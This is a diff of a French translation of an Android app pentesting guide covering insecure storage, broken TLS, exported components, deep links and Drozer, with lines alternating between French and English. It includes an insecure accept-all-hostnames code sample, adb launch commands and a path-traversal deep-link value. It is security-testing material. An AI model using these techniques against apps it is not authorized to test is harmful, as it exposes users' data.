Cela empĂȘche une application malveillante d'obtenir un accĂšs en lecture ou en Ă©criture aux fichiers d'une autre app. -**DonnĂ©es sensibles stockĂ©es en clair** +DonnĂ©es sensibles stockĂ©es en clair -- **Shared preferences** : Android permet Ă  chaque application de facilement sauvegarder des fichiers xml dans le chemin `/data/data//shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. -- **Databases** : Android permet Ă  chaque application de sauvegarder facilement des bases sqlite dans le chemin `/data/data//databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. +- **Shared preferences** : Android permet Ă  chaque application d'enregistrer facilement des fichiers xml dans le chemin `/data/data//shared_prefs/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. +- **Databases** : Android permet Ă  chaque application d'enregistrer facilement des bases sqlite dans le chemin `/data/data//databases/` et parfois il est possible de trouver des informations sensibles en clair dans ce dossier. -### TLS cassĂ© +### Broken TLS -**Accept All Certificates** +Accept All Certificates -Pour une raison quelconque, parfois des dĂ©veloppeurs acceptent tous les certificats mĂȘme si, par exemple, le hostname ne correspond pas, avec des lignes de code comme celle-ci : +Pour une raison ou une autre, parfois les dĂ©veloppeurs acceptent tous les certificats mĂȘme si par exemple le hostname ne correspond pas, avec des lignes de code comme la suivante : ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Une bonne façon de tester cela est d'essayer de capturer le traffic en utilisant un proxy comme Burp sans autoriser le Burp CA sur l'appareil. Aussi, vous pouvez gĂ©nĂ©rer avec Burp un certificat pour un hostname diffĂ©rent et l'utiliser. +Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA Ă  l'intĂ©rieur de l'appareil. De plus, vous pouvez gĂ©nĂ©rer avec Burp un certificat pour un hostname diffĂ©rent et l'utiliser. ### Cryptographie dĂ©faillante -**Mauvaises procĂ©dures de gestion des clĂ©s** +**Processus de gestion des clĂ©s insuffisants** -Certains dĂ©veloppeurs sauvegardent des donnĂ©es sensibles dans le stockage local et les chiffrent avec une clĂ© hardcodĂ©e/prĂ©dictible dans le code. Cela ne devrait pas ĂȘtre fait car un peu de reversing pourrait permettre Ă  des attackers d'extraire l'information confidentielle. +Certains dĂ©veloppeurs sauvegardent des donnĂ©es sensibles dans le stockage local et les chiffrent avec une clĂ© hardcoded/prĂ©dictible dans le code. Cela ne devrait pas ĂȘtre fait car du reversing pourrait permettre aux attaquants d'extraire les informations confidentielles. **Utilisation d'algorithmes non sĂ©curisĂ©s et/ou obsolĂštes** -Les dĂ©veloppeurs ne devraient pas utiliser d'**algorithmes obsolĂštes** pour effectuer des **vĂ©rifications d'autorisation**, **stocker** ou **envoyer** des donnĂ©es. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisĂ©s pour stocker des mots de passe par exemple, des hashes **rĂ©sistants** au brute-force devraient ĂȘtre utilisĂ©s avec du salt. +Les dĂ©veloppeurs ne devraient pas utiliser des **algorithmes obsolĂštes** pour effectuer des **vĂ©rifications d'authorisation**, **stocker** ou **envoyer** des donnĂ©es. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisĂ©s pour stocker des mots de passe par exemple, des hashes rĂ©sistants au brute-force devraient ĂȘtre utilisĂ©s avec du salt. ### Autres vĂ©rifications -- Il est recommandĂ© d'**obfusquer l'APK** pour rendre le travail de reverse engineer plus difficile aux attackers. -- Si l'app est sensible (comme les apps bancaires), elle devrait effectuer ses **propres vĂ©rifications pour savoir si le mobile est rootĂ©** et agir en consĂ©quence. -- Si l'app est sensible (comme les apps bancaires), elle devrait vĂ©rifier si un **emulator** est utilisĂ©. -- Si l'app est sensible (comme les apps bancaires), elle devrait **vĂ©rifier son intĂ©gritĂ© avant exĂ©cution** pour dĂ©tecter si elle a Ă©tĂ© modifiĂ©e. +- Il est recommandĂ© d'**obfusquer l'APK** pour rendre le travail de reverse engineering plus difficile pour les attaquants. +- Si l'app est sensible (comme les applications bancaires), elle devrait effectuer ses **propres vĂ©rifications pour savoir si le mobile est rooted** et agir en consĂ©quence. +- Si l'app est sensible (comme les applications bancaires), elle devrait vĂ©rifier si un **emulator** est utilisĂ©. +- Si l'app est sensible (comme les applications bancaires), elle devrait **vĂ©rifier son intĂ©gritĂ© avant exĂ©cution** pour vĂ©rifier si elle a Ă©tĂ© modifiĂ©e. - Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vĂ©rifier quel compiler/packer/obfuscator a Ă©tĂ© utilisĂ© pour construire l'APK ### React Native Application -Lisez la page suivante pour apprendre comment accĂ©der facilement au code javascript des applications React : +Lisez la page suivante pour apprendre comment accĂ©der facilement au code javascript des applications React : {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Lisez la page suivante pour apprendre comment accĂ©der facilement au code C# d'une application xamarin : +Lisez la page suivante pour apprendre comment accĂ©der facilement au code C# d'une application Xamarin : {{#ref}} @@ -197,17 +197,17 @@ Lisez la page suivante pour apprendre comment accĂ©der facilement au code C# d'u ### Superpacked Applications -Selon ce [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked est un algorithme Meta qui compresse le contenu d'une application en un seul fichier. Le blog parle de la possibilitĂ© de crĂ©er une app qui dĂ©compresse ce type d'apps... et d'une mĂ©thode plus rapide qui consiste Ă  **exĂ©cuter l'application et rĂ©cupĂ©rer les fichiers dĂ©compressĂ©s depuis le filesystem.** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Analyse statique automatisĂ©e du code +### Automated Static Code Analysis -L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnĂ©rabilitĂ©s** en **scannant** le **code** de l'application. Cet outil contient une sĂ©rie de **known sources** (qui indiquent Ă  l'outil les **endroits** oĂč l'**input** est **contrĂŽlĂ© par l'utilisateur**), **sinks** (qui indiquent Ă  l'outil les **endroits dangereux** oĂč un input malveillant pourrait causer des dommages) et des **rules**. Ces rules indiquent la **combinaison** de **sources-sinks** qui signale une vulnĂ©rabilitĂ©. +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnĂ©rabilitĂ©s** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combinaison** of **sources-sinks** that indicates a vulnĂ©rabilitĂ©. -Avec ces informations, **mariana-trench va analyser le code et trouver d'Ă©ventuelles vulnĂ©rabilitĂ©s**. +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Une application peut contenir des secrets (API keys, mots de passe, urls cachĂ©es, sous-domaines...) Ă  l'intĂ©rieur d'elle que vous pourriez ĂȘtre capable de dĂ©couvrir. Vous pouvez utiliser un outil tel que [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,11 +216,11 @@ Une application peut contenir des secrets (API keys, mots de passe, urls cachĂ©e bypass-biometric-authentication-android.md {{#endref}} -### Autres fonctions intĂ©ressantes +### Other interesting functions -- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** dĂ©clarĂ©es comme `native`: `public native, System.loadLibrary, System.load` +- **ExĂ©cution de code**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Envoi de SMS**: `sendTextMessage, sendMultipartTestMessage` +- **Fonctions natives** dĂ©clarĂ©es comme `native`: `public native, System.loadLibrary, System.load` - [Lisez ceci pour apprendre **comment reverse native functions**](reversing-native-libraries.md) ### **Autres astuces** @@ -236,161 +236,163 @@ content-protocol.md ## Dynamic Analysis -> Tout d'abord, vous avez besoin d'un environnement oĂč vous pouvez installer l'application et tout l'environnement (Burp CA cert, Drozer et Frida principalement). Par consĂ©quent, un device rootĂ© (emulated ou non) est fortement recommandĂ©. +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis -Vous pouvez crĂ©er un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme permet d'**uploader** et **d'exĂ©cuter** des APKs, donc elle est utile pour voir comment un apk se comporte. +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -Vous pouvez mĂȘme **voir les logs de votre application** sur le web et vous connecter via **adb**. +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -GrĂące Ă  la connexion ADB vous pouvez utiliser **Drozer** et **Frida** Ă  l'intĂ©rieur des emulators. +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. ### Local Dynamic Analysis #### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez crĂ©er des devices **x86** et **arm**, et selon [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**les derniĂšres versions x86** supportent les libraries ARM sans avoir besoin d'un emulator ARM lent). -- Apprenez Ă  le configurer sur cette page : +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(version gratuite :** Personal Edition, crĂ©ation de compte requise. _Il est recommandĂ© de **tĂ©lĂ©charger** la version **AVEC**_ _**VirtualBox** pour Ă©viter des erreurs potentielles._) -- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne supporte pas Frida ou Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> Lors de la crĂ©ation d'un nouvel emulator sur n'importe quelle plateforme, souvenez-vous que plus l'Ă©cran est grand, plus l'emulator sera lent. Donc sĂ©lectionnez des Ă©crans petits si possible. +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -Pour **installer les google services** (comme AppStore) dans Genymotion vous devez cliquer sur le bouton marquĂ© en rouge dans l'image suivante : +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -Notez aussi que dans la **configuration de la VM Android dans Genymotion** vous pouvez sĂ©lectionner le **Bridge Network mode** (cela sera utile si vous devez vous connecter Ă  la VM Android depuis une VM diffĂ©rente contenant les outils). +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). #### Use a physical device -Vous devez activer les options de **debugging** et ce serait bien si vous pouvez le **rooter** : +You need to activate the **debugging** options and it will be cool if you can **root** it: 1. **Settings**. -2. (FromAndroid 8.0) SĂ©lectionnez **System**. -3. SĂ©lectionnez **About phone**. -4. Appuyez **Build number** 7 fois. -5. Revenez et vous trouverez les **Developer options**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. + +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. + +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patch boot.img with the Magisk app and flash via fastboot to get systemless root +- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required +- Keep original boot.img to recover from OTA updates; re-patch after each OTA +- For screen mirroring, use scrcpy on the host -> Une fois que vous avez installĂ© l'application, la premiĂšre chose Ă  faire est de l'essayer et d'Ă©tudier ce qu'elle fait, comment elle fonctionne et de vous familiariser avec elle.\ -> Je suggĂšre d'**effectuer cette analyse dynamique initiale en utilisant MobSF dynamic analysis + pidcat**, ainsi nous pourrons **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **donnĂ©es intĂ©ressantes** que vous pourrez revoir ensuite. -Magisk/Zygisk quick notes (recommandĂ© sur les appareils Pixel) -- Patch boot.img avec l'app Magisk et flashez via fastboot pour obtenir un systemless root -- Activez Zygisk + DenyList pour masquer le root ; envisagez LSPosed/Shamiko quand un masquage plus robuste est nĂ©cessaire -- Conservez le boot.img original pour rĂ©cupĂ©rer aprĂšs les OTA ; re-patchez aprĂšs chaque OTA -- Pour le mirroring d'Ă©cran, utilisez scrcpy sur l'hĂŽte ### Unintended Data Leakage **Logging** -Les dĂ©veloppeurs doivent ĂȘtre prudents en exposant des **informations de debugging** publiquement, car cela peut mener Ă  des fuites de donnĂ©es sensibles. Les outils [**pidcat**](https://github.com/JakeWharton/pidcat) et `adb logcat` sont recommandĂ©s pour surveiller les logs d'application afin d'identifier et protĂ©ger les informations sensibles. **Pidcat** est prĂ©fĂ©rĂ© pour sa facilitĂ© d'utilisation et sa lisibilitĂ©. +Les dĂ©veloppeurs doivent ĂȘtre prudents quant Ă  l'exposition des **debugging information** publiquement, car cela peut conduire Ă  des donnĂ©es sensibles leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] -> Notez que Ă  partir des **versions postĂ©rieures Ă  Android 4.0**, **les applications ne peuvent accĂ©der qu'Ă  leurs propres logs**. Ainsi les applications ne peuvent pas accĂ©der aux logs d'autres apps.\ -> Quoi qu'il en soit, il est toujours recommandĂ© de **ne pas logger d'informations sensibles**. +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Le framework basĂ© sur le **clipboard** d'Android permet la fonctionnalitĂ© copy-paste dans les apps, mais prĂ©sente un risque car **d'autres applications** peuvent **accĂ©der** au clipboard, exposant potentiellement des donnĂ©es sensibles. Il est crucial de **dĂ©sactiver les fonctions de copy/paste** pour les sections sensibles d'une application, comme les dĂ©tails de carte bancaire, afin de prĂ©venir les leaks. +Le framework **clipboard-based** d'Android permet la fonctionnalitĂ© copy-paste dans les apps, mais prĂ©sente un risque car **other applications** peuvent **access** le clipboard, exposant potentiellement des donnĂ©es sensibles. Il est crucial de **dĂ©sactiver copy/paste** pour les sections sensibles d'une application, comme les dĂ©tails de carte de crĂ©dit, pour prĂ©venir des data leaks. **Crash Logs** -Si une application **crashe** et **sauvegarde des logs**, ces logs peuvent aider des attackers, particuliĂšrement quand l'application ne peut pas ĂȘtre reverse-engineerĂ©e. Pour attĂ©nuer ce risque, Ă©vitez de logger lors de crashs, et si les logs doivent ĂȘtre transmis sur le rĂ©seau, assurez-vous qu'ils sont envoyĂ©s via un canal SSL pour la sĂ©curitĂ©. +Si une application **crashes** et **sauvegarde des logs**, ces logs peuvent aider les attaquants, particuliĂšrement lorsque l'application ne peut pas ĂȘtre reverse-engineered. Pour attĂ©nuer ce risque, Ă©vitez de logger lors des crashes, et si des logs doivent ĂȘtre transmis sur le rĂ©seau, assurez-vous qu'ils soient envoyĂ©s via un canal SSL pour la sĂ©curitĂ©. -En tant que pentester, **essayez de jeter un Ɠil Ă  ces logs**. +As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Les applications intĂšgrent souvent des services comme Google Adsense, qui peuvent involontairement **leak des donnĂ©es sensibles** Ă  cause d'une implĂ©mentation incorrecte par les dĂ©veloppeurs. Pour identifier de potentielles leaks, il est conseillĂ© d'**intercepter le traffic de l'application** et de vĂ©rifier si des informations sensibles sont envoyĂ©es Ă  des services tiers. +Les applications intĂšgrent souvent des services comme Google Adsense, ce qui peut involontairement **leak sensitive data** en raison d'implĂ©mentations incorrectes par les dĂ©veloppeurs. Pour identifier des potentielles data leaks, il est conseillĂ© d'**intercept the application's traffic** et de vĂ©rifier s'il y a des informations sensibles envoyĂ©es Ă  des services tiers. ### SQLite DBs -La plupart des applications utiliseront des **bases de donnĂ©es SQLite internes** pour sauvegarder des informations. Pendant le pentest, jetez un **Ɠil** aux **databases** créées, aux noms des **tables** et des **colonnes** et Ă  toutes les **donnĂ©es** sauvegardĂ©es car vous pourriez trouver des **informations sensibles** (ce qui serait une vulnĂ©rabilitĂ©).\ -Les bases de donnĂ©es devraient se trouver dans `/data/data/the.package.name/databases` comme `/data/data/com.mwr.example.sieve/databases` +Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ +Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` -Si la base de donnĂ©es sauvegarde des informations confidentielles et est **encrypted** mais que vous pouvez **find** le **password** Ă  l'intĂ©rieur de l'application, c'est toujours une **vulnĂ©rabilitĂ©**. +If the database is saving confidential information and is **encrypted**, but you can **find** the **password** inside the application it's still a **vulnerability**. -EnumĂ©rez les tables en utilisant `.tables` et Ă©numĂ©rez les colonnes des tables en faisant `.schema ` +Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permet de **prendre le rĂŽle d'une app Android** et d'interagir avec d'autres apps. Il peut faire **tout ce qu'une application installĂ©e peut faire**, comme utiliser le mĂ©canisme d'Inter-Process Communication (IPC) d'Android et interagir avec le systĂšme d'exploitation sous-jacent. .\ -Drozer est un outil utile pour **exploiter des activities exportĂ©es, des services exportĂ©s et des Content Providers** comme vous l'apprendrez dans les sections suivantes. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Rappelez-vous aussi que le code d'une activity dĂ©marre dans la mĂ©thode **`onCreate`**. +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Quand une Activity est exportĂ©e vous pouvez invoquer son Ă©cran depuis une app externe. Donc, si une activity contenant des **informations sensibles** est **exportĂ©e** vous pourriez **bypasser** les mĂ©canismes d'**authentication** **pour y accĂ©der.** +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Vous pouvez aussi dĂ©marrer une activity exportĂ©e depuis adb : +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**REMARQUE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Notez qu'un authorisation bypass n'est pas toujours une vulnĂ©rabilitĂ© ; cela dĂ©pend de la façon dont le bypass fonctionne et des informations exposĂ©es. +> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. -**Sensitive information leakage** +**Fuite d'informations sensibles** -Les Activities peuvent aussi renvoyer des rĂ©sultats. Si vous parvenez Ă  trouver une activity exportĂ©e et non protĂ©gĂ©e appelant la mĂ©thode **`setResult`** et **renvoyant des informations sensibles**, il y a un sensitive information leakage. +**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. #### Tapjacking -Si le Tapjacking n'est pas empĂȘchĂ©, vous pourriez abuser de l'activity exportĂ©e pour faire en sorte que **l'utilisateur rĂ©alise des actions inattendues**. Pour plus d'info sur [**ce qu'est le Tapjacking, suivez le lien**](#tapjacking). +If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). -### Exploiting Content Providers - Accessing and manipulating sensitive information +### Exploiter les Content Providers - AccĂ©der et manipuler des informations sensibles -[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Les Content providers sont essentiellement utilisĂ©s pour **partager des donnĂ©es**. Si une app dispose de content providers accessibles, vous pourriez ĂȘtre capable d'**extraire des donnĂ©es sensibles** depuis ceux-ci. Il est aussi intĂ©ressant de tester d'Ă©ventuelles **SQL injections** et **Path Traversals** car elles pourraient ĂȘtre vulnĂ©rables. +[**Lisez ceci si vous voulez revoir ce qu'est un Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. -[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) +[**Apprenez Ă  exploiter les Content Providers avec Drozer.**](drozer-tutorial/index.html#content-providers) -### **Exploiting Services** +### **Exploiter les Services** -[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +[**Lisez ceci si vous voulez revoir ce qu'est un Service.**](android-applications-basics.md#services)\ Rappelez-vous que les actions d'un Service commencent dans la mĂ©thode `onStartCommand`. -Un Service est essentiellement quelque chose qui **peut recevoir des donnĂ©es**, les **traiter** et **renvoyer** (ou non) une rĂ©ponse. Donc, si une application exporte des services, vous devriez **vĂ©rifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** afin d'extraire des informations confidentielles, contourner des mesures d'authentification...\ -[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) +Un Service est essentiellement quelque chose qui **peut recevoir des donnĂ©es**, les **traiter** et **renvoyer** (ou non) une rĂ©ponse. Donc, si une application exporte certains services vous devriez **vĂ©rifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** afin d'extraire des informations confidentielles, contourner des mesures d'authentification...\ +[**Apprenez Ă  exploiter les Services avec Drozer.**](drozer-tutorial/index.html#services) -### **Exploiting Broadcast Receivers** +### **Exploiter les Broadcast Receivers** -[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +[**Lisez ceci si vous voulez revoir ce qu'est un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Rappelez-vous que les actions d'un Broadcast Receiver commencent dans la mĂ©thode `onReceive`. -Un Broadcast Receiver attend un certain type de message. Selon la maniĂšre dont le receiver gĂšre le message, il pourrait ĂȘtre vulnĂ©rable.\ -[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) +Un broadcast receiver attendra un type de message. Selon la façon dont le receiver traite le message, il pourrait ĂȘtre vulnĂ©rable.\ +[**Apprenez Ă  exploiter les Broadcast Receivers avec Drozer.**](#exploiting-broadcast-receivers) -### **Exploiting Schemes / Deep links** +### **Exploiter les Schemes / Deep links** Vous pouvez rechercher des deep links manuellement, en utilisant des outils comme MobSF ou des scripts comme [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Vous pouvez **ouvrir** un **scheme** dĂ©clarĂ© en utilisant **adb** ou un **browser**: +Vous pouvez **ouvrir** un dĂ©clarĂ© **scheme** en utilisant **adb** ou un **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Notez que vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui doit ouvrir ce lien._ +_Remarque : vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui doit ouvrir ce lien._ ```html Click me @@ -399,53 +401,53 @@ _Notez que vous pouvez **omettre le nom du package** et le mobile appellera auto ``` **Code exĂ©cutĂ©** -Pour trouver le **code qui sera exĂ©cutĂ© dans l'App**, allez Ă  l'activitĂ© appelĂ©e par le deeplink et recherchez la fonction **`onNewIntent`**. +Pour trouver le **code qui sera exĂ©cutĂ© dans l'App**, allez Ă  l'activitĂ© appelĂ©e par le deep link et recherchez la fonction **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Sensitive info** +**Informations sensibles** -Chaque fois que vous trouvez un deep link, vĂ©rifiez qu'**il ne reçoit pas de donnĂ©es sensibles (comme des mots de passe) via des paramĂštres d'URL**, car n'importe quelle autre application pourrait **usurper le deep link et voler ces donnĂ©es !** +Chaque fois que vous trouvez un deep link, vĂ©rifiez **qu'il ne reçoit pas de donnĂ©es sensibles (comme des mots de passe) via des paramĂštres d'URL**, car toute autre application pourrait **usurper le deep link et voler ces donnĂ©es !** -**Parameters in path** +**ParamĂštres dans le chemin** Vous **devez aussi vĂ©rifier si un deep link utilise un paramĂštre Ă  l'intĂ©rieur du path** de l'URL comme : `https://api.example.com/v1/users/{username}` , dans ce cas vous pouvez forcer un path traversal en accĂ©dant Ă  quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Notez que si vous trouvez les endpoints corrects dans l'application vous pourriez provoquer un **Open Redirect** (si une partie du path est utilisĂ©e comme nom de domaine), un **account takeover** (si vous pouvez modifier les users details sans token CSRF et que l'endpoint vulnĂ©rable utilise la mĂ©thode appropriĂ©e) et toute autre vuln. Plus d'[info about this here](http://dphoeniixx.com/2020/12/13-2/). +Notez que si vous trouvez les endpoints corrects Ă  l'intĂ©rieur de l'application vous pouvez ĂȘtre capable de provoquer un **Open Redirect** (si une partie du path est utilisĂ©e comme nom de domaine), un **account takeover** (si vous pouvez modifier les dĂ©tails d'utilisateurs sans token CSRF et que l'endpoint vulnĂ©rable utilisait la mĂ©thode correcte) et toute autre vuln. Plus d'infos [about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** -Un [intĂ©ressant bug bounty report](https://hackerone.com/reports/855618) au sujet des links (_/.well-known/assetlinks.json_). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -### Transport Layer Inspection and Verification Failures +### Inspection de la couche transport et Ă©checs de vĂ©rification -- **Les certificats ne sont pas toujours correctement inspectĂ©s** par les applications Android. Il est courant que ces applications ignorent les avertissements et acceptent des certificats auto-signĂ©s ou, dans certains cas, reviennent Ă  des connexions HTTP. -- **Les nĂ©gociations lors du handshake SSL/TLS sont parfois faibles**, employant des suites de chiffrement non sĂ©curisĂ©es. Cette vulnĂ©rabilitĂ© rend la connexion susceptible Ă  des attaques man-in-the-middle (MITM), permettant aux attaquants de dĂ©chiffrer les donnĂ©es. -- **Leakage of private information** reprĂ©sente un risque lorsque les applications s'authentifient via des canaux sĂ©curisĂ©s puis communiquent via des canaux non sĂ©curisĂ©s pour d'autres transactions. Cette approche ne protĂšge pas les donnĂ©es sensibles, comme les cookies de session ou les informations utilisateur, d'une interception par des entitĂ©s malveillantes. +- **Les certificats ne sont pas toujours inspectĂ©s correctement** par les applications Android. Il est courant que ces applications ignorent les warnings et acceptent des certificats self-signed ou, dans certains cas, repassent Ă  des connexions HTTP. +- **Les nĂ©gociations durant le SSL/TLS handshake sont parfois faibles**, employant des cipher suites non sĂ©curisĂ©es. Cette vulnĂ©rabilitĂ© rend la connexion susceptible aux attaques man-in-the-middle (MITM), permettant aux attaquants de dĂ©chiffrer les donnĂ©es. +- **Fuite d'informations privĂ©es** est un risque lorsque les applications s'authentifient en utilisant des canaux sĂ©curisĂ©s puis communiquent sur des canaux non sĂ©curisĂ©s pour d'autres transactions. Cette approche ne protĂšge pas les donnĂ©es sensibles, comme les cookies de session ou les informations utilisateur, contre l'interception par des entitĂ©s malveillantes. -#### Certificate Verification +#### VĂ©rification des certificats -Nous allons nous concentrer sur la **vĂ©rification des certificats**. L'intĂ©gritĂ© du certificat du serveur doit ĂȘtre vĂ©rifiĂ©e pour amĂ©liorer la sĂ©curitĂ©. C'est crucial car des configurations TLS non sĂ©curisĂ©es et la transmission de donnĂ©es sensibles sur des canaux non chiffrĂ©s peuvent prĂ©senter des risques importants. Pour des Ă©tapes dĂ©taillĂ©es sur la vĂ©rification des certificats serveur et la correction des vulnĂ©rabilitĂ©s, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit un guide complet. +Nous nous concentrerons sur la **vĂ©rification des certificats**. L'intĂ©gritĂ© du certificat du serveur doit ĂȘtre vĂ©rifiĂ©e pour renforcer la sĂ©curitĂ©. Ceci est crucial car des configurations TLS non sĂ©curisĂ©es et la transmission de donnĂ©es sensibles sur des canaux non chiffrĂ©s peuvent poser des risques importants. Pour des 